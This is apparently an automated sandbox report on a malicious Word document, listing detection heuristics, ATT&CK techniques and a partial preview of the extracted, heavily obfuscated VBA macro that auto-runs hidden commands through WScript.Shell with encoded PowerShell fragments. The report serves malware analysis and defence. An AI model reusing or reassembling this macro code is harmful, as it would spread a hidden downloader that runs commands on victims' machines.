MALICIOUS
330
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1059 Command and Scripting Interpreter
The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, which are commonly used to download and execute secondary payloads. The presence of an AutoOpen macro further suggests an attempt at immediate execution upon opening.
Heuristics 11
-
ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
End Select iMiJnsjHIUz = "WScript.Shell" Select Case NZCmYp -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
End Select CreateObject(iMiJnsjHIUz).Run jrErQpVPcsMIh + Chr(VBA.vbKeyC) + cTBUOhlq + fIRTifoAtPk + NijZimNaDmVZ, vbHide Select Case YGWkYZ -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "vTViSkuT" Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 60362 bytes |
SHA-256: eb33d3c4a89333baf614051b89804c5b03cd78ff80db746de7fd082ce64f4e72 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
713 of 1227 identifiers look randomly generated (e.g. 'AAkBgYAgDAlBAOAkDA5AgYAUGAmBwYAgDAiBAOAQ') — consistent with name-mangling obfuscation. Carved artifact contains 20 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "oZBrZRoMX"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "pqaivbiBnMB"
Function VVvAbUYhRzWLA()
On Error Resume Next
Select Case FNlzB
Case 23581
BWwGiS = ChrB(mqEHSP)
jQCCo = hfwwXz
Case 37151
UrKlz = Rnd(OdALG)
HEdKiR = Cos(LWwjuN)
End Select
iidwR = UWZAX("27gZAADAwAgZAEGAmBgYAEGA2AgYAUDAkBQMAcDA1AwNAMGA4AAMAQGAhBwNAUGAlBAOAYGAhBgYAMGAiBQMAgDA4AQNAIGA4AwNAADA4AAY1hu", 5 + 0, 105 + 0)
Select Case GVYAj
Case 59906
KRzuVT = ChrB(tFPrw)
ldBnP = BIvYH
Case 29605
fCsEA = Rnd(bizniP)
wrRRj = Cos(wDhcUk)
End Select
Select Case lvXZNZ
Case 75956
zDncIj = ChrB(dnzrJ)
oWHoj = IFjop
Case 20390
zdwaX = Rnd(oailrz)
TvtEI = Cos(bRwYP)
End Select
tXDzAsfwzMi = UWZAX("@PKZYlwNAIDA2AwMAUDAyAAOAMjGf", 4 + 0, 20 + 0)
Select Case dIfiQP
Case 94582
kjvhM = ChrB(PUvJkQ)
LwMLcf = iGAEjp
Case 86699
JrNVu = Rnd(ojAMrh)
GVmozw = Cos(JSWok)
End Select
Select Case zAjSW
Case 81141
EfPlz = ChrB(zRrQf)
qstKbi = wqhhh
Case 3535
poQbaw = Rnd(RYaVil)
iVPwh = Cos(wWDpE)
End Select
MEiTpwHm = UWZAX("U5uIn54awbAYFAzAAbAMEAyAQbA8EA1AQaAMEA3AwdAYGA8BgM5435a05061b3143240f3476111d29467'($(iSnAcollALabOlgOtGnIrtSEruCES::]LahSrAM.SeCIvReSPoRetNi.emitnUR[(iSNagNIRTSOtRtp::]LAHSrAm.5uIn54aecIvRESPOretNi.emiTnur[ ( ()'OlB", 4 + 0, 198 + 0)
Select Case DuMWzh
Case 68753
iKBQq = ChrB(wYUSpt)
PRURlA = jTlaWq
Case 90154
EBdnwW = Rnd(TUzFA)
ZBkALm = Cos(csFLhE)
End Select
Select Case DiFctr
Case 19155
UJlYvU = ChrB(UuVLi)
zNWCRb = YmYGv
Case 29628
KTXqD = Rnd(EnMmX)
QEjLs = Cos(EEGVi)
End Select
EjvXGupCRd = UWZAX("cno@gDAlBwYAUGAmBAOAEGAjBQNAMGAyAQOAADAkBQOAMDAiBAMAIGAiBgYAADA4AANAIDA5AwYAADAjBwYAYGAjBgYAIGA4AgZAIGA2AwNAUGAlBQZAUGA2AQMAADAmBQMAMGAmBQOAYDA2AQOAQGAxAgMAgDAiBQZAUDA0AwYAMGAjBAMAUGAmBQMAYDAxAQOAUGApUE7", 5 + 0, 195 + 0)
Select Case bPnMh
Case 70833
dfBMBW = ChrB(HMaKAk)
NLRpbj = qLMokw
Case 28006
hsGbGt = Rnd(OrioN)
rdwUw = Cos(OEWXFE)
End Select
Select Case FpWUA
Case 75477
XZRtZb = ChrB(EilST)
zQnvh = sipsK
Case 59672
kqavRA = Rnd(BCdMb)
KFITRr = Cos(UYpCb)
End Select
iLbHvGP = UWZAX("o8j9SA2AQNAEDA0AQNAEDAzAQMAkDA2AQOAcDA2AgNAUDA4AwYAMGAyAAZAMDAwAAMAgDAhBQMAIGA5AQYAQGAwAgNAIDAwAAMAQDAyAgMAEDA4AQYAQGAwAQZAQDAlBwMAIGA4AgZAkDA0AwNAYGAmBQYAEGA2AwYAYDAxA8", 2 + 0, 163 + 0)
Select Case zvEhjG
Case 28364
qXdnTR = ChrB(PzmaU)
qmZVbT = VLBYT
Case 57430
EzUzG = Rnd(HTiij)
ZrFbCc = Cos(zIIiM)
End Select
Select Case Wkwdlm
Case 76132
SGrjl = ChrB(Zzzsp)
DwkLo = PHJZCM
Case 24138
EITTJk = Rnd(vqRaO)
jaqrqC = Cos(ZXzno)
End Select
lwupBvbdJwi = UWZAX("YfAgYAcDAhBwNAUGA2AAMAUDAl.I.L", 6 + 0, 23 + 0)
Select Case WfCsE
Case 60250
sLRfd = ChrB(FtHHTk)
ujhSi = KFShI
Case 62447
BNqtwM = Rnd(rqUILN)
wMSQj = Cos(PMmwj)
End Select
Select Case ZYuGfJ
Case 68721
JCRhjD = ChrB(iAjTB)
bSsifn = AnmzZT
Case 95628
hiIzp = Rnd(EiDCMM)
VTGwGw = Cos(GCbAWm)
End Select
RiTrNqs = UWZAX("hV0o5AQYAkDAmBQOAYGA1AgNAIDAzAQYAgDAyAwMAQDA2AQZAIGAlBwYAUGAkBANAMDAyAg@q", 3 + 0, 67 + 0)
Select Case VQTHMG
Case 31476
SXWMN = ChrB(nobSa)
iTfAT = zufGI
Case 51556
jiOju = Rnd(GiUBia)
kbSOAh = Cos(kRBkTo)
End Select
Select Case vnfliH
Case 75177
EFIzp = ChrB(qBSPu)
dOsnfz = sDHww
Case 13402
zbbwK = Rnd(ScLmIK)
QjJCA = Cos(szjvs)
End Select
FZhSzRQaTY = UWZAX("39cPAyAQNAMDA0AQZ,Hw", 4 + 0, 13 + 0)
Select Case lmuIz
Case 18303
qfaPZ = ChrB(FzRAD)
fUrEJ = FwfOKQ
Case 62772
pYKYUO = Rnd(wUapUj)
vSawdo = Cos(lthlN)
End Select
Select Case YmiGt
Case 94126
rSBJrD = ChrB(CwEwG)
YXNTbt = uNiRi
Case 85398
uakhPb = Rnd(dKzBP)
NMTCO = Cos(IsBYOf)
End Select
NiVBlWs = UWZAX(".8QFIDA4AQMAEDAyAQZAMDAhBANAUGA3AgNAYGATo", 3 + 0, 35 + 0)
Select Case Ynioja
Case 97699
JbNWh = ChrB(nvNNSL)
KhtbD = kttBV
Case 5705
CTzWP = Rnd(QDEkFj)
zUwnLw = Cos(bOFkM)
End Select
Select Case cUMid
Case 9262
sYtDD = ChrB(avcndu)
NzTdP = XXiEXj
Case 60008
HzXtM = Rnd(Pqprq)
nLdGSL = Cos(dwcAi)
End Select
IPRDHQnhN = UWZAX("Lz6iNAgDAhBQZAMGAiBQNAUGA1AQOAMDAwAwMAEGA5AwMAcDAiBgMAEDAyAQYAMDAhBQYAIGAiBgYAUDAlBgZAEGA0AgZAYDAwAQMAEDA3AwMAcDA3AgYAMDAzAgYAkDAxAwNAYGAmBQOAMDMW", 3 + 0, 140 + 0)
Select Case lhuJU
Case 43592
YdSwF = ChrB(QtDXKc)
cELtcm = OCDfw
Case 77537
aTUjUU = Rnd(OJsfB)
vaZZR = Cos(vqhWB)
End Select
Select Case KLolum
Case 15769
HGujt = ChrB(OAwnf)
LTHWcs = RjGbp
Case 3501
KjdIB = Rnd(VLcrji)
mkzXYh = Cos(fqERJC)
End Select
KPhAMlT = UWZAX("NFPw8kMAQNAIDA4AQZAgDA3AQYAEGAiBgNAcDAxAQMAEGAzAQZAgDA4AgYAQGAzAwYAkDAhBQOAUDAxAANAQDA2AwYAkDAwAAMAEDAlBQZAgDA1AgZAgDA3AQMAADAxAgYAMDAiBwMAcDAhBgMAgDA4AAZAEDAjBAOAIDAxAANAYDAwAgYAQDAmBAOAEDAmBwNAUDAz", 2 + 0, 191 + 0)
Select Case qjBfF
Case 59083
HiXpls = ChrB(zqQntu)
hhiCHQ = TiLzzY
Case 59130
bLiDTf = Rnd(bhnpH)
AodPHi = Cos(zSczO)
End Select
Select Case wzsiG
Case 25243
KVmkq = ChrB(AiiVw)
mIviUc = rYjLN
Case 11492
wjGwm = Rnd(QujEr)
RzcSS = Cos(YBXFAV)
End Select
BNDtdwP = UWZAX(".07RlfBQYAUDAlBwNAUGA2AAMAUGAkBgYAcDA0A0K", 3 + 0, 33 + 0)
Select Case FqVnd
Case 18615
ihYQc = ChrB(itWrZr)
PLSPFN = oEltj
Case 70714
hMvHF = Rnd(RbkYLq)
JffffJ = Cos(JuYFhQ)
End Select
Select Case ZRHDJU
Case 21904
NnvUJ = ChrB(IEYDzz)
XIisFS = fUaiff
Case 55392
ccThdN = Rnd(CwujwB)
TknnVC = Cos(dKEBa)
End Select
tcKbiLnO = UWZAX("EuMiJYAYDA5AAZAEGA1AgMAUGAjBAMAQDA1AgmjiJ", 5 + 0, 32 + 0)
Select Case sNNod
Case 19699
bvkSW = ChrB(dGjzW)
jEBpu = KarwSP
Case 59930
qBokG = Rnd(orzXA)
QEZCz = Cos(hiqSq)
End Select
Select Case IrdaEE
Case 97920
PuOKzj = ChrB(raWzu)
srrbf = Yoqcjd
Case 55835
CpmiYd = Rnd(YwrsUU)
pBEUp = Cos(PzmwZ)
End Select
iswjkFp = UWZAX("F%XWEw) ) ) ) )922,851,06,821,76,151,54,59,89,252,911,7816AI", 4 + 0, 51 + 0)
Select Case auYRh
Case 62588
EVBos = ChrB(RjTvz)
KOSzpY = oPLDD
Case 75336
DCuzi = Rnd(MzQko)
MvYhw = Cos(mPOGH)
End Select
Select Case SnpGn
Case 77557
VinpV = ChrB(IEirX)
wKjcBp = WGupm
Case 64637
QouPW = Rnd(oGLzIj)
YvbTMt = Cos(SJlKoQ)
End Select
lQYAFZ = UWZAX("wiG8vMAUGAzAANAMGA0AgYAYDAmBgYAcDA0AQMI7", 3 + 0, 33 + 0)
Select Case RGbpBH
Case 25194
UJSUnG = ChrB(zhUSri)
iadsCp = DjbGD
Case 43879
kJGbla = Rnd(RBrGYa)
DqVZw = Cos(cAMIFX)
End Select
Select Case bNPoH
Case 14062
cvFlu = ChrB(auqkL)
GNKcQ = uOQFm
Case 51755
zPIUQP = Rnd(YCnZm)
tKnOZE = Cos(iNDRk)
End Select
miXSblVda = UWZAX("i9p0ktAOAQGAlBQNAQDAmBQMAQDAhBQMAgDA0AQOAIGA5AgMAIGA3AAMAIDAjBQNAEGAjBgNAUDA4AQMAMGAzAwMAMGAkBgNAADAwAAOAMDAwAAMAADAjBQZAIGA2AgYAUGAmBgfF", 3 + 0, 129 + 0)
Select Case lNtGWJ
Case 58711
wuRZaV = ChrB(sDalqc)
kaBfh = OkMrj
Case 33174
BivQPH = Rnd(zPWowi)
qJdju = Cos(bcTEq)
End Select
Select Case rHFvZ
Case 29636
cBmQwz = ChrB(KpUwh)
zaADZk = iLmmTH
Case 56173
VnHMj = Rnd(YMDHF)
TWLld = Cos(bRRHB)
End Select
FYXKuRm = UWZAX("MFiw.AQZAYDAjBQNAYDA4AQMAIGAzAQYAIGAjBAOAYDA5AgYAADAyAAMAQGA2AgNAUDA0AANAkDAjBwYAMDAzAgYAUDA4AgMAMGAxAwYAkDA2q%.", 4 + 0, 104 + 0)
Select Case pfVQP
Case 99595
oVwpBM = ChrB(zPYNzv)
RQHAB = NfMAN
Case 73084
XEvHzD = Rnd(QwVjJ)
rIMsD = Cos(FBXPN)
End Select
Select Case Wwino
Case 50321
ImLlzU = ChrB(UwovRz)
fJGQM = CIkLC
Case 35845
PZGlrQ = Rnd(rmYFOi)
EjsNil = Cos(roYXbS)
End Select
iONjdfGdfID = UWZAX("La KQMAYGAwAQNAkDA5AQYAUGA4AQNAUGA2AQMAUGAlBgYAgDAkBAZAIDAwAQNAMGAkBwNAgDA2AgYAEDAhBAMAQDA0AQMAQGAkBgYAUDAhBwNAUDAjBQOAYGAyAAOAQDA2AgZAgDAmBAOAkDA1AQMAIDA0AgZAQQd78", 5 + 0, 156 + 0)
Select Case zBzijW
Case 62899
sCEAAj = ChrB(lABdRw)
szYjzY = iNPzGr
Case 70814
XiLIJ = Rnd(pIdlRw)
XWwAs = Cos(JBJzW)
End Select
Select Case mJDVU
Case 6638
jsPok = ChrB(KjVKw)
AQbiCu = MGJBf
Case 35002
iRaDq = Rnd(AizjkJ)
CUlLiR = Cos(csKiB)
End Select
NmFOUJJwd = UWZAX("8%jHEHzDAjBAMAcw", 2 + 0, 8 + 0)
Select Case ArzZrk
Case 42923
VtJSUD = ChrB(SRvusG)
rVwXO = bqGvC
Case 30439
JiapAn = Rnd(jbctK)
dJbPk = Cos(Ujzib)
End Select
Select Case wjbdcH
Case 91261
qfhVq = ChrB(LZTcOJ)
NlrMG = GzvsYa
Case 49421
OIHtz = Rnd(CzkPh)
hmjLOW = Cos(clwkQ)
End Select
DoPGwMmVBj = UWZAX(".d@5uIn54a1QYAADA4AQOAUDA0AwMAIGAyAgZAMGA1AgMAEGAzAQOAUGAzA7", 2 + 0, 48 + 0)
Select Case KoZun
Case 16032
RFwRLj = ChrB(jzPAb)
aPUQkd = UzlQY
Case 82471
okdCz = Rnd(mOcpS)
fHWiVz = Cos(luuUI)
End Select
Select Case ZFdOZ
Case 15651
YcNun = ChrB(KSaqjt)
uwQlB = LmdUKQ
Case 52726
lTjwD = Rnd(wqAAns)
oCqcz = Cos(bbdpr)
End Select
HciLXtsGl = UWZAX("5uIn54azcdQOAUGA4AAMAkDA1r8", 3 + 0, 15 + 0)
Select Case jwVuH
Case 5792
MFZzrt = ChrB(zHEvPw)
hWjnr = rztId
Case 84819
Uwavsz = Rnd(fCPDw)
QYTXha = Cos(DBalHP)
End Select
Select Case pJwoi
Case 84437
tHvuuH = ChrB(DjUWQE)
wHQzzL = utFAoP
Case 62215
GiYAV = Rnd(iuXFVz)
IACsMX = Cos(BiokjJ)
End Select
KwhIh = UWZAX("8AZWuMDA4AAMAIDAkBQj", 2 + 0, 13 + 0)
Select Case OpuFrQ
Case 89247
pwPiAP = ChrB(stcNK)
sDHcsp = YqnTL
Case 77334
FdAdh = Rnd(iLEddW)
opvHSz = Cos(Wmmdw)
End Select
Select Case jlItW
Case 28660
XJiirB = ChrB(cCHPnw)
hsBioM = WTjLmS
Case 55348
OKHfUM = Rnd(KpfSfC)
OpJvjB = Cos(HPiCwB)
End Select
lBZhnNpklw = UWZAX("JKbjBwNAMDAkBANAkDAmBQNAUDA3AANAgDA2AwYAMGA1AgZAADAzAgNAkDAwAAMAgDA13QXzwl", 7 + 0, 65 + 0)
Select Case uXFjRu
Case 77772
HHbOth = ChrB(zWjqq)
uBrib = GvZcYL
Case 96072
SZjNH = Rnd(ShCTVH)
vPLVG = Cos(lAWOA)
End Select
Select Case HhIppE
Case 89458
LcZUuz = ChrB(nzjzf)
ctEcU = rWjbu
Case 70049
PwNiiS = Rnd(MXZYtJ)
IBWfca = Cos(fnENUz)
End Select
tUUka = UWZAX("FtwYDAxAAOAIGAjBgYAEGA0AgNAEDA1AQNAYGA0AAMAUDAlBQMAIGA1AgNAIDAjBgZAcDAyAQNAUGA0AgYAQGAiBwMAYGAiBAOAYGAmBgYAQDA0AAMAADA2AANhJV", 4 + 0, 119 + 0)
Select Case SfBfk
Case 1442
aZSCjp = ChrB(EUjiK)
iUKvR = SkJJQ
Case 18338
ntsXt = Rnd(JMhcD)
vlWaSX = Cos(KqVzVF)
End Select
Select Case kkhFjn
Case 78182
uVBjpi = ChrB(rIdojo)
qhlrz = uarcOi
Case 18445
XJHDOz = Rnd(FckDCn)
fBTKm = Cos(tATpq)
End Select
zwOQXzH = UWZAX("v7RG9AlBQZAcDAjBQMAEDAhBAZAgDAlBQMAYGAlBQYAQGAzAwNAQDA4AAMAcDA2AgZAcDAwAAOAEGA1AgNAYGAkBQNAEDA0AAMAwHA9AQPAEEA5AQQA4EAOBgQAYDAMBwYwci", 5 + 0, 124 + 0)
Select Case sUdZRH
Case 47940
UzVkS = ChrB(ZkEBnu)
VuqIE = uqXpSM
Case 46679
abDTw = Rnd(aDjfjs)
pJvSBv = Cos(WanRMK)
End Select
Select Case jOhjl
Case 9934
ChnLtF = ChrB(ZPkkp)
zWrij = GMLsW
Case 87867
ojKGpB = Rnd(UzNLKV)
fsRbG = Cos(HNKXCz)
End Select
tnbZWFspYHI = UWZAX("@1Z'nIOJ-]52,42,4[cEp5uIn54amOC:vNe$ (. 2LUt0", 6 + 0, 31 + 0)
Select Case waqpQR
Case 25502
tPIui = ChrB(lCIfU)
nbTtQ = zYbWm
Case 7841
ZjuGYv = Rnd(IFmdIh)
mWKBs = Cos(ppWGzY)
End Select
Select Case QaohGf
Case 98785
BDmON = ChrB(fWzLnX)
rNTUZn = bcjSG
Case 8913
GciibE = Rnd(XwvUp)
fhoZCd = Cos(ZMUMh)
End Select
XvPVNhAO = UWZAX("jfq j3EMkBAMAgDA2AAZAkDAxAANAMDA0AQYAIDAiBAZAkDAmBANAMDAzAQNAcDA2AgYAMGA0AQYAMDA1AwYAgDA1AQNAEDAiBAZAIDA2AwNAEDAlBwYAMGA3AQYAcDAmf", 2 + 0, 121 + 0)
Select Case wvYXUI
Case 17371
ZtScLS = ChrB(UPYAj)
XunHPd = RtHSB
Case 69064
UwaaM = Rnd(LGnWwr)
kEzwM = Cos(CZBlPF)
End Select
Select Case qHQffn
Case 25011
JKbYtG = ChrB(Unkrba)
WaJYfW = RlRpX
Case 27244
wHbwN = Rnd(NjzFQ)
nloBw = Cos(VtkqVH)
End Select
oiHRRCXsqJ = UWZAX("GvSLA5AgYAYGA0AgYAgDAkBQZAIGAyAQZAgDA4AQMAUGA5AAOAEGA1AgNAYDAwAwMAkDAmBANAIGAlBQYAgDAxAQOAgDAjBwMAMGAwAQZAYDA5AQZAEGAjBgZAUDA0AANAMGAkBwYAYGAlBgNAQDAzAQNAw%DMr", 6 + 0, 150 + 0)
Select Case qOrYK
Case 66347
sPYfI = ChrB(NMjnbD)
Jihdj = LBUoG
Case 73061
oWzWK = Rnd(XtiYNI)
CPJKzO = Cos(zzHjO)
End Select
Select Case ijXSF
Case 25205
TavuN = ChrB(pkjzC)
NlEwwj = pLJDhz
Case 26400
qksJo = Rnd(iXGudz)
PCmZs = Cos(Idinb)
End Select
UvjqzCP = UWZAX("iojL,741,991,831,5,271 yEK- GNIRTSERUceS-otTREvNOc |'==AAkBgYAgDAlBAOAkDA5AgYAUGAmBwYAgDAiBAOAQGAlBgZAEGAzAAMAMDAlBQNAMD5uIn54aJpJO", 6 + 0, 118 + 0)
Select Case RYMJWN
Case 90910
JwznnO = ChrB(iOwCSk)
ZIXdpc = hMzQb
Case 43760
WOjjh = Rnd(uRCwm)
XdPflI = Cos(jwDmsY)
End Select
Select Case WcGwQY
Case 20499
BRwkP = ChrB(fUNpvA)
JaKNsk = frsDBk
Case 39823
rRkoD = Rnd(HntiS)
cVJiR = Cos(rNCvi)
End Select
DsqZltOHnDH = UWZAX("LZIEdlQYAEGAhBQOAkDAyAgMAEDAkBgYAEGA3AgYAIDA0AwNAQGAiBwNAADA1AwMAIGAjBQOAYDA3AQZAYDAzAgZAEDA5AwYAUGA2AwMAkDAmBgZAIGAjBQZAUG.K", 3 + 0, 117 + 0)
Select Case oYbJY
Case 87895
fdRdvF = ChrB(zaBmR)
ZhIKhJ = jsHLvj
Case 22232
ilwOz = Rnd(nZLrOc)
XRMPi = Cos(zHPQcP)
End Select
Select Case qJSzZ
Case 9748
lFEXzt = ChrB(WNRMBp)
wsYApA = bSmRb
Case 91766
ppiGnM = Rnd(DMFiUI)
TGNtvc = Cos(QuwjEq)
End Select
zvDKotFBs = UWZAX("aJzwAA4AQYAYDA3AwYAcDA3AgNAIGA4AAMAgDAhBAMAQDA0AAOAUDAlBANAADA2AQZAADAmBAZAUGAhBwYAkDA0AwYAkDAxAQNAEDA5uIn54a4", 3 + 0, 97 + 0)
Select Case nRGXz
Case 38114
YjFOcl = ChrB(jSSVrL)
LYYfT = ZukWiW
Case 61246
uwKWo = Rnd(uXIfT)
BjbjOM = Cos(Bbtiri)
End Select
Select Case HqKftM
Case 13352
BYboqz = ChrB(FczpwI)
OEkHIz = XmvfJz
Case 53705
QfzHk = Rnd(LcARDv)
nqDBjV = Cos(FumEHB)
End Select
rHhsO = UWZAX("ZQRAZAYDAzAgMAUGAzAgMAADA1AwNAkDAxAQMAUGAjBwNAADA4AwMAUGAiBAZAUGAwAgZAgDAzAAZAIGA4AgMAkDA4AQNAUDAxAgNAQGAmBgMAADAjBwNAEDAxAgZAQDA4AQNAQDAmBgZAYGA2AAOAUDAzAQYAUDAkBQOAADAiBwYAEDAhBQYAYDA4Aai", 3 + 0, 183 + 0)
Select Case mfIhzO
Case 10021
TsqYz = ChrB(ckqFD)
jvsdZb = uVttzj
Case 16623
wrkDh = Rnd(cWKKKW)
dKwzE = Cos(uqniH)
End Select
Select Case iTsHw
Case 24765
bPDBiM = ChrB(hGTFYM)
zbmMb = DRqjMA
Case 87443
amVJi = Rnd(AjSiv)
ZDOIQ = Cos(jWirGv)
End Select
CBzUU = UWZAX("O0uU7iAMDAiBwMAMDAwAAOAkDAhBgYAYDA5AgZAQGA3AgMAUDA1AgYAEGAiBgNAADAmBQNAYDAiBwMAEGAzAwYAEGA4AgMAIGAwAQNAQDA3AAZAQDAyAgYAEDA3AwNAcDAhBQYAADAjBgMAEGAhBAMAADA1AwMAMGAjBgZAEDA4A1aB", 4 + 0, 166 + 0)
Select Case hnKZT
Case 78952
SSHUzw = ChrB(vCSJHQ)
FAChT = TXjjja
Case 77408
dpHwp = Rnd(rGwuK)
llTLh = Cos(iDbnIr)
End Select
Select Case AjpCQz
Case 40800
AWGwFj = ChrB(wjRDDA)
MnhpZ = JATzz
Case 7267
kKCQuv = Rnd(GEQTXz)
OzpaZf = Cos(XBUaX)
End Select
rlVpiSwTZ = UWZAX("%EiOGAhBwYAgDAhBQNAIGA0AgYAQGAmBAOAQDA3AAOAADAiBwYAUDA1AQNAcDAxAgYAQDAzAQNAMDwf", 3 + 0, 73 + 0)
Select Case VzCHz
Case 3717
MniBJI = ChrB(tHWOS)
FuBiZ = YzNIh
Case 80046
iWHCJ = Rnd(VTmbU)
QRWHPf = Cos(IzLbw)
End Select
Select Case RXnKM
Case 42358
anrwEi = ChrB(wmuBz)
iurij = GVOkJ
Case 35947
zJSNrJ = Rnd(jjCli)
LnZscG = Cos(PoXfF)
End Select
woTdjcLniJu = UWZAX("U 0hnrAgMAUDAmBwNAIGA1AAOAUGAiBAMAYDA2AQMAkDAwAQMAADAzAQZAIGAlBQNAADAmBQMAYDAlBAMAUGA2AQOAkDA4AQNAQGAwAgYAYDAjBQOAMDA5AQMAIGAxAANAgDAiBAOAIDAiBQZAEDAmBAMAMDA3AgYAgDAyAgYAUDAwAgNAnuz", 4 + 0, 172 + 0)
Select Case sPLMCi
Case 58030
kIdYD = ChrB(pivrFE)
ITwVI = BdIlm
Case 16431
RsUWz = Rnd(AUafv)
ZObhs = Cos(ZBXjwP)
End Select
Select Case zwvcvR
Case 80341
Einrr = ChrB(dVzlsY)
ruiLaC = RqTiQq
Case 26125
GKRwpw = Rnd(OMQCqC)
wzlYC = Cos(EQQUP)
End Select
SVhpdbLjtK = UWZAX("MzA3AQZAYDA2AgYAQDA1AgZAUGAyAgZAEGAyAgYAQGAmBwMAgDAmBAOAEDA4AgNAEDAwAwYAQDA0AwNAgDAzAwNAQDA1AgYAYDA5AAZAUGA1AwYAIDAwAgZAJz6q", 5 + 0, 118 + 0)
Select Case tOLIaA
Case 64524
PoUujz = ChrB(fRuYL)
GrWtso = pptwj
Case 81397
bDEpB = Rnd(SvKdr)
FDYwWw = Cos(JmXpP)
End Select
Select Case pSoVIX
Case 56252
GGads = ChrB(NSbbNQ)
oqjAim = iLSsj
Case 80920
XIrXFq = Rnd(bSzCU)
JvzWSC = Cos(BcHUZ)
End Select
ZzaSAM = UWZAX("lCN8AMGA3AQZAcDA3AgYAMDAlBQOAEGA4AgMAYDA2AgMAcDA4AgNAUDAxAAZAIGA1AQMAQGAzAgYAUGAlBgYAgDAjBANAcDAxAgYAYGA5AAMAIDA2AwYAUGAmBAZAIDAmBAMAMGA3AwNAYDA5AAMAgDA3AAMAYDA1AANAUDAyAQZAQGAyziwG", 5 + 0, 173 + 0)
Select Case Ylunhu
Case 5565
qKkDI = ChrB(oMXiw)
CwnOv = hpkvAW
Case 95131
SVhfQ = Rnd(RdSkM)
KcMoE = Cos(WLibw)
End Select
Select Case RFcCQt
Case 68933
miWVWd = ChrB(cXZRnS)
TtlrUE = iHwjVq
Case 86945
bzwXC = Rnd(aKszYY)
HfrIb = Cos(miRZZf)
End Select
zzCmIWVoM = UWZAX("cMkBwMAEDAxAAMAEGAxAQYAgDAiBgMAIGA2AwNAUDA3AQMAcDA1AwMAEGA1AQZAQGAyAQZAADAiBQYAQDAiBQMAYGAhBa08E", 5 + 0, 90 + 0)
Select Case HWZlBm
Case 97338
vbTPP = ChrB(sittvf)
XcEbtG = jKYZs
Case 34111
DkHwla = Rnd(LDYsL)
uzXfdz = Cos(juUJI)
End Select
Select Case iALdw
Case 67465
obXNn = ChrB(qbqjq)
QaTzYM = mmwnL
Case 12764
XIwwUf = Rnd(pqGQw)
UBKiU = Cos(qTjOC)
End Select
ihjVvVzzF = UWZAX("a8AgNAQGA1AgMAQGAzAQNAMDAlBANAUDA0Ago9CKw", 6 + 0, 34 + 0)
Select Case Qcwnrn
Case 22743
Ffics = ChrB(LcakM)
buCkcO = oQNrt
Case 92157
EDECw = Rnd(EqNoT)
pILOtv = Cos(WMWZL)
End Select
Select Case tQKaKz
Case 72134
fXsSwb = ChrB(qnKzI)
uZaXMo = OApiwI
Case 44213
wUdWGL = Rnd(LhMjFz)
GaLDC = Cos(rkCwLs)
End Select
KucNqZDhm = UWZAX("jf8QuWZAYDA1AgYAcDAhBwMAYDAjBQOAEGAyAANAQGAkBQOAIGAhBAZAIGA5AQMAw", 2 + 0, 57 + 0)
Select Case fiNTp
Case 8313
sSjcCY = ChrB(OsLjj)
LtOTuG = vOSfL
Case 28029
wcUsqA = Rnd(KotiB)
jdrqSb = Cos(KlTuZi)
End Select
Select Case CDjqpV
Case 56836
QnBfZ = ChrB(ODkqs)
PWYwfr = OVrAZF
Case 78309
VFqhh = Rnd(SjLfiJ)
DZipom = Cos(jinLw)
End Select
UVqjlUQ = UWZAX("oFuLMtm@,101,21,531,48,621,231,751h", 2 + 0, 26 + 0)
Select Case OoZmca
Case 70897
tztIL = ChrB(zqNQw)
uLvJLk = dYqSf
Case 66815
UiGYC = Rnd(YaJco)
dZNpRW = Cos(QlCsQ)
End Select
Select Case oMVcu
Case 76485
JzQMuA = ChrB(nbScOc)
aGNMmE = QcGCBX
Case 92288
UjjvG = Rnd(uKUzqc)
QVRIR = Cos(NGIPIi)
End Select
NdPzdwi = UWZAX("8v1AAZAUDAzAwMAkDAiBAZAEDAzAAZAkDAkBQZAU0ru4", 5 + 0, 38 + 0)
Select Case tWKKs
Case 55903
mGjtSV = ChrB(jvsNvc)
AGoujw = uMUaMC
Case 9300
AKGNz = Rnd(JmYpw)
hKPCMG = Cos(tPVPJ)
End Select
Select Case VLndV
Case 30318
jdlJL = ChrB(kcUGQ)
azirw = ztmcw
Case 96027
wtoKYR = Rnd(jaVWzZ)
